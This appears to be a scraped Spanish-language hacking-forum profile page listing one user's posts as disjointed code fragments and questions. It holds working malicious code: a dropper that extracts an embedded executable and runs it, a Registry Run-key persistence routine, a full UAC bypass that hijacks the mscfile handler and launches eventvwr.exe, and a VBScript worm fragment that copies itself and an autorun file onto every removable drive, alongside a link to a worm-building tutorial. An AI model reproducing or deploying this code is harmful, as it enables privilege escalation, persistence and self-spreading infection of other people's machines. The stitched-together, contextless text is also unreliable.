Hola por defecto mi router trae pero quería verlo ya que no me aparece por ninguna parte hay alguna manera desde mi router que no sea crackeandolo?
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menúwstring exe = L"ELEXE";
HRSRC res=FindResourceA(NULL,"",RT_RCDATA);
Citarmainwindow.cpp:56: error: C2664: 'HRSRC FindResourceA(HMODULE,LPCSTR,LPCSTR)' : el argumento 3 no puede convertirse de 'LPWSTR' a 'LPCSTR'Lo cual no se como resolverlo ya que para buscar el recurso de mi aplicación solo puedo utilizar RT_RCDATA.
MAKEINTRESOURCEA
SetWindowTextA(hwnd, valor.c_str());
//or with UNICODE undefined:
SetWindowText(hwnd, valor.c_str());
string pro = "programa";
HRSRC res=FindResource(NULL,pro.c_str(),RT_RCDATA);
HANDLE hFile=CreateFile("C:/Users/Usuario/Desktop/aplicacion.exe",GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
#include <windows.h>
#include <iostream>
int main(){
int i = getpid();
string cadena = std::to_string(i);
LPCSTR lpc = cadena.c_str();
cout << "taskkill /f /im " << i;
ShellExecuteA(NULL,"open","C:\\Users\\myUser\\Desktop\\cmd.exe","/c taskkill /f /im "+cadena,0,SW_SHOW);}
#ifndef RESOURCE_H_INCLUDED
#define RESOURCE_H_INCLUDED
#define ELEXE "ELEXE"
#endif // RESOURCE_H_INCLUDED
#ifndef RESOURCE_H_INCLUDED
#define RESOURCE_H_INCLUDED
#endif
#define ELEXE "ELEXE"
string exe = "ELEXE";
HRSRC res=FindResource(NULL,exe.c_str(),RT_RCDATA);
#include <windows.h>
#include "resource.h"
ELEXE RCDATA "Example1.exe"
#ifndef RESOURCE_H_INCLUDED
#define RESOURCE_H_INCLUDED
#define ELEXE ""
#endif // RESOURCE_H_INCLUDED
#include <iostream>
#include <windows.h>
#include "resource.h"
using namespace std;
int main()
{
string exe = "ELEXE";
HRSRC res=FindResource(NULL,exe.c_str(),RT_RCDATA);
if(res==NULL)
cout << GetLastError();
cout << "\n";
int size=SizeofResource(NULL,res);
if( !size )
cout << 122; // Arbitrario. -> ERROR_INSUFFICIENT_BUFFER
cout << "\n";
HGLOBAL hRes=LoadResource(NULL,res);
if( !hRes )
cout << 122; // Arbitrario. -> ERROR_INSUFFICIENT_BUFFER
cout << "\n";
unsigned char *pRes=(unsigned char *)LockResource(hRes);
HANDLE hFile=CreateFile("C:/Users/android/Desktop/pi.exe",GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
if(hFile==INVALID_HANDLE_VALUE)
cout << GetLastError();
cout << "\n";
DWORD bytesWritten = size;
WriteFile(hFile,pRes,size,&bytesWritten,NULL);
if( !WriteFile(hFile,pRes,size,&bytesWritten,NULL) )
cout << GetLastError();
cout << "\n";
CloseHandle(hFile);
ShellExecute(HWND_DESKTOP,NULL,"C:/Users/android/Desktop/pi.exe",NULL,NULL,SW_SHOWNORMAL);
system("pause");
return 0;
}
1º echo "deb http://download.virtualbox.org/virtualbox/debian vivid contrib" >> /etc/apt/sources.list.d/virtualbox.list
2º wget -q https://www.virtualbox.org/download/oracle_vbox.asc -O- | sudo apt-key add -
3º apt-get update
4º apt-get install virtualbox-5.0
Citarapt-get install virtualbox-5.0
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias
Leyendo la información de estado... Hecho
No se pudieron instalar algunos paquetes. Esto puede significar que
usted pidió una situación imposible o, si está usando la distribución
inestable, que algunos paquetes necesarios aún no se han creado o se
han sacado de «Incoming».
La siguiente información puede ayudar a resolver la situación:
Los siguientes paquetes tienen dependencias incumplidas:
virtualbox-5.0 : Depende: libpng12-0 (>= 1.2.13-4) pero no es instalable
Depende: libssl1.0.0 (>= 1.0.0) pero no es instalable
Depende: libvpx1 (>= 1.0.0) pero no es instalable
Recomienda: libsdl-ttf2.0-0 pero no va a instalarse
Recomienda: dkms pero no va a instalarse
Recomienda: linux-headers pero no es instalable
E: No se pudieron corregir los problemas, usted ha retenido paquetes rotos.
Citardpkg -i libvpx-dev_1.1.0-1_i386.deb
(Leyendo la base de datos ... 320563 ficheros o directorios instalados actualmente.)
Preparando para desempaquetar libvpx-dev_1.1.0-1_i386.deb ...
Desempaquetando libvpx-dev:i386 (1.1.0-1) sobre (1.1.0-1) ...
dpkg: problemas de dependencias impiden la configuración de libvpx-dev:i386:
libvpx-dev:i386 depende de libvpx1 (= 1.1.0-1); sin embargo:
El paquete `libvpx1' no está instalado.
dpkg: error al procesar el paquete libvpx-dev:i386 (--install):
problemas de dependencias - se deja sin configurar
Se encontraron errores al procesar:
libvpx-dev:i386
Citardeb http://http.kali.org/kali kali-rolling main contrib non-free
string subclave="Hello";
string valor="Anyone";
LPCTSTR _subclave = TEXT("");
LPCTSTR _valor = TEXT("");
long crear = RegSetValueEx(key, _subclave, 0, REG_SZ, (LPBYTE) _valor, strlen(_valor) * sizeof(char));
string hola="hola";
std::wstring stemp = std::wstring(hola.begin(), hola.end());
LPCWSTR subclave = stemp.c_str();
const char * valor = "hola";
long crear = RegSetValueEx(key, subclave, 0, REG_SZ, (LPBYTE) valor, strlen(valor) * sizeof(char));
#include <iostream>
#include <windows.h>
#include <conio.h>
using namespace std;
int main(int argc, char *argv [])
{
//asignamos key el valor nulo
HKEY key = 0;
//creamos la regla
RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&key)
//elegimos la ruta donde se creara
LPCTSTR ruta = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\");
//con status podemos saber si la regla se creo correctamente
long status = RegOpenKey(HKEY_CURRENT_USER, ruta, &key);
if (status != 0)
{
cout << "Win error: " << GetLastError() << endl;
}
else
{
//nombre de nuestra subclave
string subclave="System";
//valor de la subclave
string valor="C:\\Windows\\tuprograma.exe";
//hacemos la conversion del nombre de la subclave y la subclave
LPCTSTR _subclave = TEXT(subclave.c_str());
LPCTSTR _valor = TEXT(valor.c_str());
long crear = RegSetValueEx(key, _subclave, 0, REG_SZ, (LPBYTE) _valor, strlen(_valor) * sizeof(char));
if (crear != 0)
{
//si falla sera porque no teneis permisos o crear es diferente a 0
cout << "Win error: " << GetLastError() << endl;
}
else
{
//se creo correctamente ya que crear vale 0 que es el valor creado
cout << "Subclave creada correctamente" << endl;
}
}
RegCloseKey(key);
//hacemos un getch para que no se cierre nuestro programa y ver que se creo //correctamente si quereis lo podeis quitar
_getch();
}
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
/*
* Pretty standard code to recursively nuke a Reg Key
*/
int RegDelnodeRecurse (LPTSTR lpSubKey) {
LPTSTR lpEnd;
LONG lResult;
DWORD dwSize = MAX_PATH;
TCHAR szName[MAX_PATH];
HKEY hKey;
FILETIME ftWrite;
lResult = RegDeleteKey(HKEY_CURRENT_USER, lpSubKey);
if (lResult == ERROR_SUCCESS) return 1;
lResult = RegOpenKeyEx(HKEY_CURRENT_USER, lpSubKey, 0, KEY_READ, &hKey);
if (lResult != ERROR_SUCCESS) return lResult == ERROR_FILE_NOT_FOUND;
lpEnd = lpSubKey + lstrlen(lpSubKey);
*lpEnd++ = '\\';
*lpEnd = '\0';
if (RegEnumKeyEx(hKey, 0, szName, &dwSize, 0, 0, 0, &ftWrite) == ERROR_SUCCESS) {
do {
strcpy(lpEnd, szName);
if (!RegDelnodeRecurse(lpSubKey)) break;
lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, 0, 0, 0, &ftWrite);
} while (lResult == ERROR_SUCCESS);
}
lpEnd--;
*lpEnd = TEXT('\0');
RegCloseKey(hKey);
return RegDeleteKey(HKEY_CURRENT_USER, lpSubKey) == ERROR_SUCCESS;
}
/*
* Wrapper for above
*/
int RegDelnode() {
TCHAR szDelKey[MAX_PATH*2] = "Software\\Classes\\mscfile";
return RegDelnodeRecurse(szDelKey);
}
void __c_UAC() {
char curPath[MAX_PATH], evtVwr[MAX_PATH];
HKEY attackKey;
SHELLEXECUTEINFO exInfo;
GetCurrentDirectory(MAX_PATH, curPath);
strcat(curPath, "\\foobar.exe");
sprintf(evtVwr, "%s\\System32\\eventvwr.exe", getenv("SYSTEMROOT"));
if(!RegDelnode()) return;
if(RegCreateKey(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\shell\\open\\command", &attackKey)!=ERROR_SUCCESS) return;
RegSetValueEx(attackKey, "", 0, REG_SZ, curPath, strlen(curPath));
exInfo.lpVerb = "open";
exInfo.lpFile = evtVwr;
exInfo.nShow = 0;
exInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
exInfo.cbSize = sizeof(SHELLEXECUTEINFO);
exInfo.hwnd = 0;
exInfo.lpParameters = 0;
exInfo.lpDirectory = 0;
exInfo.hInstApp = 0;
ShellExecuteEx(&exInfo);
Sleep(5000);
TerminateProcess(exInfo.hProcess, 0);
RegCloseKey(attackKey);
RegDelnode();
}
int main(int argc, char *argv[]) {
__c_UAC();
return 0;
}
Citarhttps://www.youtube.com/watch?v=3aolewDa8bk
Citarhttp://foro.elhacker.net/analisis_y_diseno_de_malware/taller_crea_tu_primer_w0rm_gusano-t191563.0.html
do ' inicia loop infinito
Set oFS = Wscript.CreateObject("Scripting.FileSystemObject")
Set oDrives = oFS.Drives 'declaramos todos los srivers
For Each Drive in oDrives 'por cada driver
If Drive.DriveType = DriveTypeRemovable Then 'si son del tipo removible entonces
If Drive.DriveLetter <> "A" Then ' si la letra es de A-Z entonces
If fso.FileExists(Drive.DriveLetter + autorunusb) Then ' si existe autorun
set cFile = fso.GetFile (Drive.DriveLetter + autorunusb)'tomalo y
cFile.attributes = 0 ' quitale los atributos
fso.CopyFile autorun, Drive.DriveLetter & autorunusb , true'despues copialo
else' de lo contrario
fso.CopyFile autorun, Drive.DriveLetter & autorunusb , true' copialo
End if
fso.CopyFile w0rmpatch, Drive.DriveLetter & w0rmusb , true' copia el gusano a la unidad
End If
End If
Next
loop
end sub